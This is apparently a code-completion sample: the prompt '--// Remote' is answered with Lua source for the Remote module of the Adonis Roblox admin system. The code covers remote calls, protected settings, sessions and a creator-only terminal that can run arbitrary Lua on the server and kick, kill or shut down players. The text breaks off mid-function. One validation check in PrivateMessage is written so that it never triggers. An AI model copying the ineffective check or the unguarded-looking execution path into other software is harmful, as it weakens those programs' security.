Prompt: --// Remote

Response:
return function(Vargs, GetEnv)
	local env = GetEnv(nil, {script = script})
	setfenv(1, env)

	local server = Vargs.Server;
	local service = Vargs.Service;

	local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings, Defaults, Commands
	local function Init()
		Functions = server.Functions;
		Admin = server.Admin;
		Anti = server.Anti;
		Core = server.Core;
		HTTP = server.HTTP;
		Logs = server.Logs;
		Remote = server.Remote;
		Process = server.Process;
		Variables = server.Variables;
		Settings = server.Settings;
		Defaults = server.Defaults;
		Commands = server.Commands

		Remote.Init = nil;
		Logs:AddLog("Script", "Remote Module Initialized")
	end;

	local function RunAfterPlugins(data)
		for com in next, Remote.Commands do
			if string.len(com) > Remote.MaxLen then
				Remote.MaxLen = string.len(com)
			end
		end

		--// Start key check loop
		service.StartLoop("ClientKeyCheck", 60, Remote.CheckKeys, true);

		Remote.RunAfterPlugins = nil;
		Logs:AddLog("Script", "Remote Module RunAfterPlugins Finished");
	end

	server.Remote = {
		Init = Init;
		RunAfterPlugins = RunAfterPlugins;

		MaxLen = 0;
		Clients = {};
		Returns = {};
		Sessions = {};
		PendingReturns = {};
		EncodeCache = {};
		DecodeCache = {};
		RemoteExecutionConfirmed = {};

		TimeUntilKeyDestroyed = 60 * 5; --// How long until a player's key data should be completely removed?

		--// Settings any client/user can grab
		AllowedSettings = {
			Theme = true;
			MobileTheme = true;
			DefaultTheme = true;
			HelpButtonImage = true;
			Prefix = true;
			PlayerPrefix = true;
			SpecialPrefix = true;
			BatchKey = true;
			AnyPrefix = true;
			DonorCommands = true;
			DonorCapes = true;
			ConsoleKeyCode = true;
			SplitKey = true;
		};

		--// Settings that are never sent to the client
		--// These are blacklisted at the datastore level and cannot be updated in-game
		BlockedSettings = {
			Trello_Enabled = true;
			Trello_Primary = true;
			Trello_Secondary = true;
			Trello_Token = true;
			Trello_AppKey = true;

			HideScript = true;  -- Changing in-game will do nothing; Not able to be saved
			DataStore = true;
			DataStoreKey = true;
			DataStoreEnabled = true;
			LocalDatastore = true;

			LoadAdminsFromDS = true;

			Creators = true;
			Permissions = true;

			G_API = true;
			G_Access = true;
			G_Access_Key = true;
			G_Access_Perms = true;
			Allowed_API_Calls = true;

			WebPanel_ApiKey = true;
			WebPanel_Enabled = true;

			OnStartup = true;
			OnSpawn = true;
			OnJoin = true;

			CustomRanks = true;
			Ranks = true;
			Commands = true;
		};

		Returnables = {
			RateLimits = function(p: Player,args: {[number]: any})
				return server.Process.RateLimits
			end;

			Test = function(p: Player,args: {[number]: any})
				return "HELLO FROM THE OTHER SIDE :)!"
			end;

			Ping = function(p: Player,args: {[number]: any})
				return "Pong"
			end;

			Filter = function(p: Player,args: {[number]: any})
				return service.Filter(args[1],args[2],args[3])
			end;

			BroadcastFilter = function(p: Player,args: {[number]: any})
				return service.BroadcastFilter(args[1],args[2] or p)
			end;

			TaskManager = function(p: Player,args: {[number]: any})
				if Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then
					local action = args[1]
					if action == "GetTasks" then
						local tab = {}
						for _, v in next, service.GetTasks() do
							local new = {
								Status = v.Status;
								Name = v.Name;
								Index = v.Index;
								Created = v.Created;
								Function = tostring(v.Function);
							}
							table.insert(tab,new)
						end
						return tab
					end
				end
			end;

			ExecutePermission = function(p: Player,args: {[number]: any})
				return Core.ExecutePermission(args[1],args[2],true)
			end;

			Variable = function(p: Player,args: {[number]: any})
				return Variables[args[1]]
			end;

			Default = function(p: Player,args: {[number]: any})
				local setting = args[1]
				local level = Admin.GetLevel(p)
				local ret
				local blocked = {
					DataStore = true;
					DataStoreKey = true;

					Trello_Enabled = true;
					Trello_PrimaryBoard = true;
					Trello_SecondaryBoards = true;
					Trello_AppKey = true;
					Trello_Token = true;

					--G_Access = true;
					G_Access_Key = true;
					WebPanel_ApiKey = true;
					--G_Access_Perms = true;
					--Allowed_API_Calls = true;
				}

				if type(setting) == "table" then
					ret = {}
					for _,set in setting do
						if Defaults[set] and (not blocked[set] or level >= Settings.Ranks.Creators.Level) then
							ret[set] = Defaults[set]
						end
					end
				elseif type(setting) == "string" then
					if Defaults[setting] and (not blocked[setting] or level >= Settings.Ranks.Creators.Level) then
						ret = Defaults[setting]
					end
				end

				return ret
			end;

			AllDefaults = function(p: Player,args: {[number]: any})
				if Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then
					local sets = {
						Settings = table.clone(Defaults);
						Descs = server.Descriptions;
						Order = server.Order;
					}

					local blocked = {
						HideScript = true;  -- Changing in-game will do nothing; Not able to be saved
						DataStore = true;
						DataStoreKey = true;
						DataStoreEnabled = true;
						LocalDatastore = true;

						--Trello_Enabled = true;
						--Trello_PrimaryBoard = true;
						--Trello_SecondaryBoards = true;
						Trello_AppKey = true;
						Trello_Token = true;

						G_API = true;
						G_Access = true;
						G_Access_Key = true;
						G_Access_Perms = true;
						Allowed_API_Calls = true;

						WebPanel_ApiKey = true;
						WebPanel_Enabled = true;

						OnStartup = true;
						OnSpawn = true;
						OnJoin = true;

						CustomRanks = true; -- Not supported yet
						Ranks = true;
						Commands = true;
					}

					for setting in sets.Settings do
						if blocked[setting] then
							sets.Settings[setting] = nil
						end
					end

					return sets
				end
			end;

			Setting = function(p: Player,args: {[number]: any})
				local setting = args[1]
				local level = Admin.GetLevel(p)
				local ret
				local allowed = Remote.AllowedSettings

				if type(setting) == "table" then
					ret = {}
					for _,set in setting do
						if Settings[set] and (allowed[set] or level>=Settings.Ranks.Creators.Level) then
							ret[set] = Settings[set]
						end
					end
				elseif type(setting) == "string" then
					if Settings[setting] and (allowed[setting] or level>=Settings.Ranks.Creators.Level) then
						ret = Settings[setting]
					end
				end

				return ret
			end;

			AllSettings = function(p: Player,args: {[number]: any})
				if Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then
					local sets = {
						Settings = table.clone(Settings);
						Descs = server.Descriptions;
						Order = server.Order;
					}

					local blocked = Remote.BlockedSettings

					for setting in sets.Settings do
						if blocked[setting] then
							sets.Settings[setting] = nil
						end
					end

					return sets
				end
			end;

			UpdateList = function(p: Player,args: {[number]: any})
				local list = args[1]
				local update = Logs.ListUpdaters[list]
				if update then
					return update(p, unpack(args,2))
				end
			end;

			AdminLevel = function(p: Player,args: {[number]: any})
				return Admin.GetLevel(p)
			end;

			Keybinds = function(p: Player,args: {[number]: any})
				local playerData = Core.GetPlayer(p)
				return playerData.Keybinds or {}
			end;

			UpdateKeybinds = function(p: Player,args: {[number]: any})
				local playerData = Core.GetPlayer(p)
				local binds = args[1]
				local resp = "OK"
				if type(binds) == "table" then
					playerData.Keybinds = binds
					Core.SavePlayer(p,playerData)
					resp = "Updated"
				else
					resp = "Error"
				end

				return resp
			end;

			Playlist = function(p: Player,args: {[number]: any})
				local playerData = Core.GetPlayer(p)
				return playerData.CustomPlaylist or {}
			end;

			UpdatePlaylist = function(p: Player,args: {[number]: any})
				local resp = "Error: Unknown Error"
				if type(args)=="table" then
					if string.len(service.HttpService:JSONEncode(args)) < 4000 then
						local playerData = Core.GetPlayer(p)
						playerData.CustomPlaylist = args[1]
						Core.SavePlayer(p,playerData)
						resp = "Updated"
					else
						resp = "Error: Playlist is too big (4000+ chars)"
					end
				else
					resp = "Error: Data is not a valid table"
				end
				return resp
			end;

			UpdateClient = function(p: Player,args: {[number]: any})
				local playerData = Core.GetPlayer(p)
				local setting = args[1]
				local value = args[2]
				local data = playerData.Client or {}

				data[setting] = value
				playerData.Client = data
				Core.SavePlayer(p, playerData)

				return "Updated"
			end;

			UpdateDonor = function(p: Player,args: {[number]: any})
				local playerData = Core.GetPlayer(p)
				local donor = args[1]
				local resp = "OK"
				if type(donor) == "table" and donor.Cape and type(donor.Cape) == "table" then
					playerData.Donor = donor
					Core.SavePlayer(p, playerData)
					if donor.Enabled then
						Functions.Donor(p)
					else
						Functions.UnCape(p)
					end
					resp = "Updated"
				else
					resp = "Error"
				end
				return resp
			end;

			UpdateAliases = function(p: Player,args: {[number]: any})
				local aliases = args[1] or {};

				if type(aliases) == "table" then
					local data = Core.GetPlayer(p)

					--// check for stupid stuff
					for i,v in aliases do
						if type(i) ~= "string" or type(v) ~= "string" then
							aliases[i] = nil
						end
					end

					data.Aliases = aliases;
				end
			end;

			PlayerData = function(p: Player,args: {[number]: any})
				local data = Core.GetPlayer(p)
				data.isDonor = Admin.CheckDonor(p)
				return data
			end;

			CheckAdmin = function(p: Player,args: {[number]: any})
				return Admin.CheckAdmin(p)
			end;

			SearchCommands = function(p: Player,args: {[number]: any})
				return Admin.SearchCommands(p,args[1] or "all")
			end;

			CheckBackpack = function(p: Player,args: {[number]: any})
				return Anti.CheckBackpack(p,args[1])
			end;

			FormattedCommands = function(p: Player,args: {[number]: any})
				local commands = Admin.SearchCommands(p,args[1] or "all")
				local tab = {}
				for _,v in commands do
					if not v.Hidden and not v.Disabled then
						for a in v.Commands do
							table.insert(tab,Admin.FormatCommand(v,a))
						end
					end
				end
				return tab
			end;

			TerminalData = function(p: Player,args: {[number]: any})
				if Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then
					local entry = Remote.Terminal.Data[tostring(p.UserId)]
					if not entry then
						Remote.Terminal.Data[tostring(p.UserId)] = {
							Player = p;
							Output = {};
						}
					end

					return {
						ServerLogs = service.LogService:GetLogHistory();
						ClientLogs = {};
						ScriptLogs = Logs.Script;
						AdminLogs = Logs.Commands;
						ErrorLogs = Logs.Errors;
						ChatLogs = Logs.Chats;
						JoinLogs = Logs.Joins;
						Replications = Logs.Replications;
						Exploit = Logs.Exploit;
					}
				end
			end;

			Terminal = function(p: Player,args: {[number]: any})
				if Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then
					local data = args[2]
					local message = args[1]
					local command = string.match(message, "(.-) ") or message
					local argString = string.match(message, "^.- (.+)") or ""
					local comTable = Remote.Terminal.GetCommand(command)
					if comTable then
						local cArgs = Functions.Split(argString, " ", comTable.Arguments)
						local ran,ret = pcall(comTable.Function,p,cArgs,data)
						if ran then
							return ret
						else
							return {
								"COMMAND ERROR: "..tostring(ret)
							}
						end
					else
						return {
							"Could not find any command matching \""..command.."\""
						}
					end
				end
			end;

			AudioLib = function(p,args)
				local canUseGlobalBroadcast
				local cmd, ind
				for i, v in Admin.SearchCommands(p, "all") do
					for _, c in ipairs(v.Commands) do
						if (v.Prefix or "")..string.lower(c) == (v.Prefix or "")..string.lower("music") then
							cmd, ind = v, i
							break
						end
					end
					if ind then break end
				end
				if cmd then
					canUseGlobalBroadcast = true
				else
					canUseGlobalBroadcast = false
				end
				if canUseGlobalBroadcast then
					if not server.Functions.AudioLib then
						local audioLibFolder = workspace:FindFirstChild("ADONIS_AUDIOLIB")
						if not audioLibFolder then
							audioLibFolder = service.New("Folder")
							audioLibFolder.Name = "ADONIS_AUDIOLIB"
							audioLibFolder.Parent = workspace
						end
						server.Functions.AudioLib = require(server.Shared.AudioLib).new(audioLibFolder)
					end

					return server.Functions.AudioLib[args[1][1]](server.Functions.AudioLib, args[1][2])
				end
			end;
		};

		Terminal = {
			Data = {};
			Format = function(msg,data) (data or {}).Text = msg end;
			Output = function(tab,msg,mata) table.insert(tab,Remote.Terminal.Format(msg,mata)) end;
			GetCommand = function(cmd) for i,com in next,Remote.Terminal.Commands do if com.Command:lower() == cmd:lower() then return com end end end;
			LiveOutput = function(p,data,type) Remote.FireEvent(p,"TerminalLive",{Data = data; Type = type or "Terminal";}) end;
			Commands = {
				Help = {
					Usage = "help";
					Command = "help";
					Arguments = 0;
					Description = "Shows a list of available commands and their usage";
					Function = function(p,args,data)
						local output = {}
						for i,v in Remote.Terminal.Commands do
							table.insert(output, tostring(v.Usage).. string.rep(" ",30-string.len(tostring(v.Usage))))
							table.insert(output, "- ".. tostring(v.Description))
						end
						return output
					end;
				};

				Message = {
					Usage = "message <message>";
					Command = "message";
					Arguments = 1;
					Description = "Sends a message in the Roblox chat";
					Function = function(p, args, data)
						for _,v in service.GetPlayers() do
							Remote.Send(v,"Function","ChatMessage",args[1],Color3.fromRGB(255,64,77))
						end
					end
				};

				Test = {
					Usage = "test <return>";
					Command = "test";
					Arguments = 1;
					Description = "Used to test the connection to the server and it's ability to return data";
					Function = function(p,args,data)
						Remote.Terminal.LiveOutput(p,"Return Test: "..tostring(args[1]))
					end
				};

				Loadstring = {
					Usage = "loadstring <string>";
					Command = "loadstring";
					Arguments = 1;
					Description = "Loads and runs the given lua string";
					Function = function(p,args,data)
						local newenv = GetEnv(getfenv(),{
							print = function(...) local nums = {...} for _,v in nums do Remote.Terminal.LiveOutput(p,"PRINT: "..tostring(v)) end end;
							warn = function(...) local nums = {...} for _,v in nums do Remote.Terminal.LiveOutput(p,"WARN: "..tostring(v)) end end;
						})

						if not server.Remote.RemoteExecutionConfirmed[p.UserId] then
							local ans = Remote.GetGui(p, "YesNoPrompt", {
								Icon = server.MatIcons.Warning;
								Question = "Are you sure you want to load this script into the server env?";
								Title = "Adonis DebugLoadstring";
								Delay = 3;
							})

							if ans == "Yes" then
								server.Remote.RemoteExecutionConfirmed[p.UserId] = true
							else
								return
							end
						end

						local func,err = Core.Loadstring(args[1], newenv)
						if func then
							func()
						else
							Remote.Terminal.LiveOutput(p,"ERROR: "..tostring(string.match(err, ":(.*)") or err))
						end
					end
				};

				Execute = {
					Usage = "execute <command>";
					Command = "execute";
					Arguments = 1;
					Description = "Runs the specified command as the server";
					Function = function(p,args,data)
						Process.Command(p, args[1], {DontLog = true, Check = true}, true)
						return {
							"Command ran: "..args[1]
						}
					end
				};

				Sudo = {
					Usage = "sudo <player> <command>";
					Command = "sudo";
					Arguments = 1;
					Description = "Runs the specified command on the specified player as the server";
					Function = function(p,args,data)
						Process.Command(p, Settings.Prefix.."sudo ".. tostring(args[1]), {DontLog = true, Check = true}, true)
						return {
							"Command ran: ".. Settings.Prefix.."sudo ".. tostring(args[1])
						}
					end
				};

				Kick = {
					Usage = "kick <player> <reason>";
					Command = "kick";
					Arguments = 2;
					Description = "Disconnects the specified player from the server";
					Function = function(p, args, data)
						local plrs = service.GetPlayers(p,args[1])
						if #plrs>0 then
							for _,v in plrs do
								v:Kick(args[2] or "Disconnected by server")
								return {"Disconnect "..tostring(v.Name).." from the server"}
							end
						else
							return {"No players matching '"..args[1].."' found"}
						end
					end
				};

				Kill = {
					Usage = "kill <player>";
					Command = "kill";
					Arguments = 1;
					Description = "Calls :BreakJoints() on the target player's character";
					Function = function(p,args,data)
						local plrs = service.GetPlayers(p,args[1])
						if #plrs>0 then
							for _,v in plrs do
								local char = v.Character
								if char and char.ClassName == "Model" then
									char:BreakJoints()
									return {"Killed "..tostring(v.Name)}
								else
									return {tostring(v.Name).." has no character or it's not a model"}
								end
							end
						else
							return {"No players matching '"..args[1].."' found"}
						end
					end
				};

				Respawn = {
					Usage = "respawn <player>";
					Command = "respawn";
					Arguments = 1;
					Description = "Calls :LoadCharacter() on the target player";
					Function = function(p,args,data)
						local plrs = service.GetPlayers(p,args[1])
						if #plrs>0 then
							for _,v in plrs do
								v:LoadCharacter()
								return {"Respawned "..tostring(v.Name)}
							end
						else
							return {"No players matching '"..args[1].."' found"}
						end
					end
				};

				Shutdown = {
					Usage = "shutdown";
					Command = "shutdown";
					Arguments = 0;
					Description = "Disconnects all players from the server and prevents rejoining";
					Function = function(p,args,data)
						service.PlayerAdded:Connect(function(p)
							p:Kick()
						end)

						for _,v in service.Players:GetPlayers() do
							v:Kick()
						end
					end
				};
			};
		};

		SessionHandlers = {

		};

		UnEncrypted = setmetatable({}, {
			__newindex = function(_, ind, val)
				warn("Unencrypted remote commands are deprecated; moving", ind, "to Remote.Commands")
				Remote.Commands[ind] = val
			end
		});

		Commands = {
			GetReturn = function(p: Player,args: {[number]: any})
				local com = args[1]
				local key = args[2]
				local parms = {unpack(args,3)}
				local retfunc = Remote.Returnables[com]
				local retable = (retfunc and {pcall(retfunc,p,parms)}) or {}
				if retable[1] ~= true then
					logError(p,retable[2])
					Remote.Send(p, "GiveReturn", key, "__ADONIS_RETURN_ERROR", retable[2])
				else
					Remote.Send(p, "GiveReturn", key, unpack(retable,2))
				end
			end;

			GiveReturn = function(p: Player,args: {[number]: any})
				if Remote.PendingReturns[args[1]] then
					Remote.PendingReturns[args[1]] = nil
					service.Events[args[1]]:Fire(unpack(args,2))
				end
			end;

			ClientCheck = function(p: Player,args: {[number]: any})
				local key = tostring(p.UserId)
				--local data = args[1]
				local special = args[2]
				local keys = Remote.Clients[key]

				if keys and special and special == keys.Special then
					keys.LastUpdate = os.time()
				else
					Anti.Detected(p, "Log", "Client sent incorrect check data")
				end
			end;

			Session = function(p: Player,args: {[number]: any})
				local sessionKey = args[1];
				local session = sessionKey and Remote.GetSession(sessionKey);

				if session and session.Users[p] then
					session:FireEvent(p, unpack(args, 2));
				end
			end;

			HandleExplore = function(p, args)
				local command = Commands.Explore
				local adminLevel = Admin.GetLevel(p)
				if command and Admin.CheckComLevel(adminLevel, command.AdminLevel) then
					local obj = args[1];
					local com = args[2];
					local data = args[3];

					if obj then
						if com == "Delete" then
							if not pcall(function()
									obj:Destroy()
								end) then
								Remote.MakeGui(p ,"Notification", {
									Title = "Error";
									Icon = server.MatIcons.Error;
									Message = "Cannot delete object.";
									Time = 2;
								})
							end
						end
					end
				end
			end;

			PlayerEvent = function(p: Player,args: {[number]: any})
				service.Events[tostring(args[1])..p.UserId]:Fire(unpack(args,2))
			end;

			SaveTableAdd = function(p: Player,args: {[number]: any})
				if Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then
					local tabName = args[1];
					local value = args[2];
					local tab = Core.IndexPathToTable(tabName);

					table.insert(tab, value);

					Core.DoSave({
						Type = "TableAdd";
						Table = tabName;
						Value = value;
					})
				end
			end;

			SaveTableRemove = function(p: Player,args: {[number]: any})
				if Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then
					local tabName = args[1];
					local value = args[2];
					local tab = Core.IndexPathToTable(tabName);
					local ind = Functions.GetIndex(tab, value);

					if ind then
						table.remove(tab, ind);
					end

					Core.DoSave({
						Type = "TableRemove";
						Table = tabName;
						Value = value;
					})
				end
			end;

			SaveSetSetting = function(p: Player,args: {[number]: any})
				if Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then
					local setting = args[1]
					local value = args[2]

					if setting == 'Prefix' or setting == 'AnyPrefix' or setting == 'SpecialPrefix' then
						local orig = Settings[setting]
						for _, v in Commands do
							if v.Prefix == orig then
								v.Prefix = value
							end
						end

						server.Admin.CacheCommands()
					end

					Settings[setting] = value

					Core.DoSave({
						Type = "SetSetting";
						Setting = setting;
						Value = value;
					})
				end
			end;

			ClearSavedSettings = function(p: Player,args: {[number]: any})
				if Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then
					Core.DoSave({Type = "ClearSettings"})
					Functions.Hint("Cleared saved settings", {p})
				end
			end;

			SetSetting = function(p: Player,args: {[number]: any})
				if Admin.GetLevel(p) >= Settings.Ranks.Creators.Level then
					local setting = args[1]
					local value = args[2]

					if setting == "Prefix" or setting == "AnyPrefix" or setting == "SpecialPrefix" then
						local orig = Settings[setting]
						for _, v in Commands do
							if v.Prefix == orig then
								v.Prefix = value
							end
						end

						server.Admin.CacheCommands()
					end

					Settings[setting] = value
				end
			end;

			Detected = function(p: Player,args: {[number]: any})
				Anti.Detected(p, args[1], args[2])
			end;

			TrelloOperation = function(p: Player,args: {[number]: any})
				local adminLevel = Admin.GetLevel(p)

				local trello = HTTP.Trello.API

				local data = args[1]
				if data.Action == "MakeCard" then
					local command = Commands.MakeCard
					if command and Admin.CheckComLevel(adminLevel, command.AdminLevel) then
						local listName = data.List
						local name = data.Name
						local desc = data.Desc

						for _, overrideList in HTTP.Trello.GetOverrideLists() do
							if service.Trim(string.lower(overrideList)) == service.Trim(string.lower(listName)) then
								Functions.Hint("You cannot create a card in that list", {p})
								return
							end
						end

						local lists = trello.getLists(Settings.Trello_Primary)
						local list = trello.getListObj(lists, listName)
						if list then
							local card = trello.makeCard(list.id, name, desc)
							Functions.Hint("Made card \""..card.name.."\" in list \""..list.name.."\"", {p})
							Logs.AddLog(Logs.Script,{
								Text = tostring(p).." performed Trello operation";
								Desc = "Player created a Trello card";
								Player = p;
							})
						else
							Functions.Hint("\""..listName.."\" does not exist", {p})
						end
					end
				end
			end;

			ClientLoaded = function(p: Player, args: {[number]: any})
				local key = tostring(p.UserId)
				local client = Remote.Clients[key]

				if client and client.LoadingStatus == "LOADING" then
					client.LastUpdate = os.time()
					client.RemoteReady = true
					client.LoadingStatus = "READY"

					service.Events.ClientLoaded:Fire(p)
					task.defer(Process.FinishLoading, p)
				else
					warn("[CLI-199524] ClientLoaded fired when not ready for ".. tostring(p))
					Logs:AddLog("Script", string.format("%s fired ClientLoaded too early", tostring(p)));
					--p:Kick("Loading error [ClientLoaded Failed]")
				end
			end;

			LogError = function(p: Player,args: {[number]: any})
				logError(p,args[1])
			end;

			Test = function(p: Player,args: {[number]: any})
				print("OK WE GOT COMMUNICATION! FROM: "..p.Name.." ORGL: "..args[1])
			end;

			ProcessCommand = function(p: Player,args: {[number]: any})
				if Process.RateLimit(p, "Command") then
					Process.Command(p, args[1], {
						Check = true
					})
				elseif Process.RateLimit(p, "RateLog") then
					Anti.Detected(p, "Log", string.format("Running commands too quickly (>Rate: %s/sec)", 1/Process.RateLimits.Command));
					warn(string.format("%s is running commands too quickly (>Rate: %s/sec)", p.Name, 1/Process.RateLimits.Command));
				end
			end;

			ProcessChat = function(p: Player,args: {[number]: any})
				Process.Chat(p,args[1])
			end;

			ProcessCustomChat = function(p: Player,args: {[number]: any})
				Process.Chat(p,args[1],"CustomChat")
				Process.CustomChat(p,args[1],args[2],true)
			end;

			PrivateMessage = function(p: Player,args: {[number]: any})
				if not type(args[1]) == "string" then return end

				--	'Reply from '..localplayer.Name,player,localplayer,ReplyBox.Text
				local target = Variables.PMtickets[args[1]]
				if target or Admin.CheckAdmin(p) then
					if target then
						Variables.PMtickets[args[1]] = nil;
					else
						target = args[2]
					end

					local title = string.format("Reply from %s (@%s)", p.DisplayName, p.Name)
					local message = args[3]

					local replyTicket = Functions.GetRandom()
					Variables.PMtickets[replyTicket] = p
					Remote.MakeGui(target,"PrivateMessage",{
						Title = title;
						Player = p;
						Message = service.Filter(message, p, target);
						replyTicket = replyTicket;
					})

					Logs:AddLog(Logs.Script,{
						Text = p.Name.." replied to "..tostring(target),
						Desc = message,
						Player = p;
					})
				else
					Anti.Detected(p, "info", "Invalid PrivateMessage ticket! Got: ".. tostring(args[2]))
				end
			end;
		};

		NewSession = function(sessionType: string)
			local session = {
				Ended = false;
				NumUsers = 0;
				Data = {};
				Users = {};
				Events = {};
				SessionType = sessionType;
				SessionKey = Functions.GetRandom();
				SessionEvent = service.New("BindableEvent");

				AddUser = function(self, p, defaultData)
					assert(not self.Ended, "Cannot add user to session: Session Ended")
					if not self.Users[p] then
						self.Users[p] = defaultData or {};
						self.NumUsers += 1;
					end
				end;

				RemoveUser = function(self, p)
					assert(not self.Ended, "Cannot remove user from session: Session Ended")
					if self.Users[p] then
						self.Users[p] = nil;
						self.NumUsers -= 1;

						if self.NumUsers == 0 then
							self:FireEvent(nil, "LastUserRemoved");
						else
							self:FireEvent(p, "RemovedFromSession");
						end
					end
				end;

				SendToUsers = function(self, ...)
					if not self.Ended then
						for p in self.Users do
							Remote.Send(p, "SessionData", self.SessionKey, ...);
						end;
					end
				end;

				SendToUser = function(self, p, ...)
					if not self.Ended and self.Users[p] then
						Remote.Send(p, "SessionData", self.SessionKey, ...);
					end
				end;

				FireEvent = function(self, ...)
					if not self.Ended then
						self.SessionEvent:Fire(...);
					end
				end;

				End = function(self)
					if not self.Ended then
						for t,event in self.Events do
							event:Disconnect();
						end
						table.clear(self.Events)

						self:SendToUsers("SessionEnded");

						table.clear(self.Users);
						self.NumUsers = 0;
						self.SessionEvent:Destroy();

						self.Ended = true;
						Remote.Sessions[self.SessionKey] = nil;
					end
				end;

				ConnectEvent = function(self, func)
					assert(not self.Ended, "Cannot connect session event: Session Ended")

					local connection = self.SessionEvent.Event:Connect(func);
					table.insert(self.Events, connection)

					return connection;
				end;
			};

			session.Events.PlayerRemoving = service.Players.PlayerRemoving:Connect(function(plr)
				if session.Users[plr] then
					session:RemoveUser(plr)
				end
			end)

			Remote.Sessions[session.SessionKey] = session;

			return session;
		end;

		GetSession = function(sessionKey: string)
			return Remote.Sessions[sessionKey];
		end;

		Fire = function(p: Player,...)
			assert(p and p:IsA("Player"), "Remote.Fire: ".. tostring(p) .." is not a valid Player")
			local keys = Remote.Clients[tostring(p.UserId)]
			local RemoteEvent = Core.RemoteEvent
			if RemoteEvent and RemoteEvent.Object then
				keys.Sent += 1
				pcall(RemoteEvent.Object.FireClient, RemoteEvent.Object, p, {Mode = "Fire", Sent = 0},...)
			end
		end;

		Send = function(p: Player,com: string,...)
			assert(p and p:IsA("Player"), "Remote.Send: ".. tostring(p) .." is not a valid Player")
			local keys = Remote.Clients[tostring(p.UserId)]
			if keys and keys.RemoteReady == true then
				Remote.Fire(p, Remote.Encrypt(com, keys.Key, keys.Cache),...)
			end
		end;

		GetFire = function(p: Player,...)
			local keys = Remote.Clients[tostring(p.UserId)]
			local RemoteEvent = Core.RemoteEvent
			if RemoteEvent and RemoteEvent.Function then
				keys.Sent += 1
				return RemoteEvent.Function:InvokeClient(p, {Mode = "Get", Sent = 0}, ...)
			end
		end;

		Get = function(p: Player,com: string,...)
			local keys = Remote.Clients[tostring(p.UserId)]
			if keys and keys.RemoteReady == true then
				local ret = Remote.GetFire(p, Remote.Encrypt(com, keys.Key, keys.Cache),...)
				if type(ret) == "table" then
					return unpack(ret);
				else
					return ret;
				end
			end
		end;

		OldGet = function(p: Player,com: string, ...)
			local keys = Remote.Clients[tostring(p.UserId)]
			if keys and keys.RemoteReady == true then
				local returns, finished
				local key = Functions:GetRandom()
				local Yield = service.Yield();
				local event = service.Events[key]:Connect(function(...) print("WE ARE GETTING A RETURN!") finished = true returns = {...} Yield:Release() end)

				Remote.PendingReturns[key] = true
				Remote.Send(p,"GetReturn",com,key,...)

				print("GETTING RETURN");
				if not finished and not returns and p.Parent then
					local pEvent = service.Players.PlayerRemoving:Connect(function(plr) if plr == p then event:Fire() end end)
					task.delay(600, function() if not finished then event:Fire() end end)
					print(string.format("WAITING FOR RETURN %s", tostring(returns)));
					--returns = returns or {event:Wait()}
					Yield:Wait();
					Yield:Destroy();

					print(string.format("WE GOT IT! %s", tostring(returns)));
					pEvent:Disconnect()
					pEvent = nil
				end

				print("GOT RETURN");
				event:Disconnect()
				event = nil

				if returns then
					if returns[1] == "__ADONIS_RETURN_ERROR" then
						error(returns[2])
					else
						return unpack(returns)
					end
				else
					return
				end
			end
		end;

		CheckClient = function(p: Player)
			local ran,ret = pcall(function() return Remote.Get(p,"ClientHooked") end)
			if ran and ret == Remote.Clients[tostring(p.UserId)].Special then
				return true
			else
				return false
			end
		end;

		CheckKeys = function()
			--// Check all keys for ones no longer in use for >10 minutes (so players who actually left aren't tracked forever)
			for key, data in Remote.Clients do
				local continue = true;

				if data.Player and data.Player.Parent == service.Players then
					continue = false;
				else
					local Player = service.Players:GetPlayerByUserId(key)
					if Player then
						data.Player = Player
						continue = false
					end
				end

				if continue and (data.LastUpdate and os.time() - data.LastUpdate > Remote.TimeUntilKeyDestroyed) then
					Remote.Clients[key] = nil;
					--print("Client key removed for UserId ".. tostring(key))
					Logs:AddLog("Script", "Client key removed for UserId ".. tostring(key))
				end
			end

			return;
		end;

		Ping = function(p: Player)
			return Remote.Get(p,"Ping")
		end;

		MakeGui = function(p: Player,GUI: string,data: {[any]: any},themeData: {[string]: any})
			if not p then return end
			local theme = {Desktop = Settings.Theme; Mobile = Settings.MobileTheme}
			if themeData then for ind,dat in themeData do theme[ind] = dat end end
			Remote.Send(p,"UI",GUI,theme,data or {})
		end;

		MakeGuiGet = function(p: Player,GUI: string,data: {[any]: any},themeData: {[string]: any})
			if not p then return nil end
			local theme = {Desktop = Settings.Theme; Mobile = Settings.MobileTheme}
			if themeData then for ind,dat in themeData do theme[ind] = dat end end
			return Remote.Get(p,"UI",GUI,theme,data or {})
		end;

		GetGui = function(p: Player,GUI: string,data: {[any]: any},themeData: {[string]: any})
			return Remote.MakeGuiGet(p,GUI,data,themeData)
		end;

		RemoveGui = function(p: Player,name: string | boolean | Instance,ignore: string)
			if not p then return end
			Remote.Send(p,"RemoveUI",name,ignore)
		end;

		RefreshGui = function(p: Player,name: string | boolean | Instance,ignore: string,data: {[any]: any},themeData: {[string]: any})
			if not p then return end
			local theme = {Desktop = Settings.Theme; Mobile = Settings.MobileTheme}
			if themeData then for ind,dat in themeData do theme[ind] = dat end end
			Remote.Send(p,"RefreshUI",name,ignore,themeData,data or {})
		end;

		NewParticle = function(p: Player,target: Instance,class: string,properties: {[string]: any})
			Remote.Send(p,"Function","NewParticle",target,class,properties)
		end;

		RemoveParticle = function(p: Player,target: Instance,name: string)
			Remote.Send(p,"Function","RemoveParticle",target,name)
		end;

		NewLocal = function(p: Player,class: string,props: {[string]: any},parent: string?)
			Remote.Send(p,"Function","NewLocal",class,props,parent)
		end;

		MakeLocal = function(p: Player,object: Instance,parent: string?,clone: boolean?)
			object.Parent = p
			task.wait(0.5)
			Remote.Send(p,"Function","MakeLocal",object,parent,clone)
		end;

		MoveLocal = function(p: Player,object: string,parent: string?,newParent: Instance)
			Remote.Send(p,"Function","MoveLocal",object,false,newParent)
		end;

		RemoveLocal = function(p: Player,object: string,parent: string?,match: boolean?)
			Remote.Send(p,"Function","RemoveLocal",object,parent,match)
		end;

		SetLighting = function(p: Player,prop: string,value: any)
			Remote.Send(p,"Function","SetLighting",prop,value)
		end;

		FireEvent = function(p: Player,...)
